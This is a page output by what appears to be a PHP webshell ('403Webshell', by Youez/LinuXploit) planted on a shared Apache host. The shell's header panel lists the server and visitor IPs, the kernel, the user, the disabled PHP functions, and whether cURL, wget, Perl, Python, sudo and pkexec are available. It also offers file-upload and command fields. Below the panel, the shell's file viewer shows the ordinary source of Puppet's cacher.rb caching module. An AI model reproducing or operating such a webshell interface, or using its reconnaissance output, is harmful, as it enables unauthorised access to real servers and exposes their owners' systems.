403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/puppet/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/puppet/util/cacher.rb
module Puppet::Util::Cacher
  # Our module has been extended in a class; we can only add the Instance methods,
  # which become *class* methods in the class.
  def self.extended(other)
    class << other
      extend ClassMethods
      include InstanceMethods
    end
  end

  # Our module has been included in a class, which means the class gets the class methods
  # and all of its instances get the instance methods.
  def self.included(other)
    other.extend(ClassMethods)
    other.send(:include, InstanceMethods)
  end

  # Methods that can get added to a class.
  module ClassMethods
    # Provide a means of defining an attribute whose value will be cached.
    # Must provide a block capable of defining the value if it's flushed..
    def cached_attr(name, ttl, &block)
      init_method = "init_#{name}"
      define_method(init_method, &block)

      set_attr_ttl(name, ttl)

      define_method(name) do
        cached_value(name)
      end

      define_method(name.to_s + "=") do |value|
        # Make sure the cache timestamp is set
        value_cache[name] = value
        set_expiration(name)
      end
    end

    def attr_ttl(name)
      @attr_ttls[name]
    end

    def set_attr_ttl(name, value)
      @attr_ttls ||= {}
      @attr_ttls[name] = Integer(value)
    end
  end

  # Methods that get added to instances.
  module InstanceMethods
    private

    def cached_value(name)
      if value_cache[name].nil? or expired_by_ttl?(name)
        value_cache[name] = send("init_#{name}")
        set_expiration(name)
      end
      value_cache[name]
    end

    def expired_by_ttl?(name)
      @attr_expirations[name] < Time.now
    end

    def set_expiration(name)
      @attr_expirations ||= {}
      @attr_expirations[name] = Time.now + self.class.attr_ttl(name)
    end

    def value_cache
      @value_cache ||= {}
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit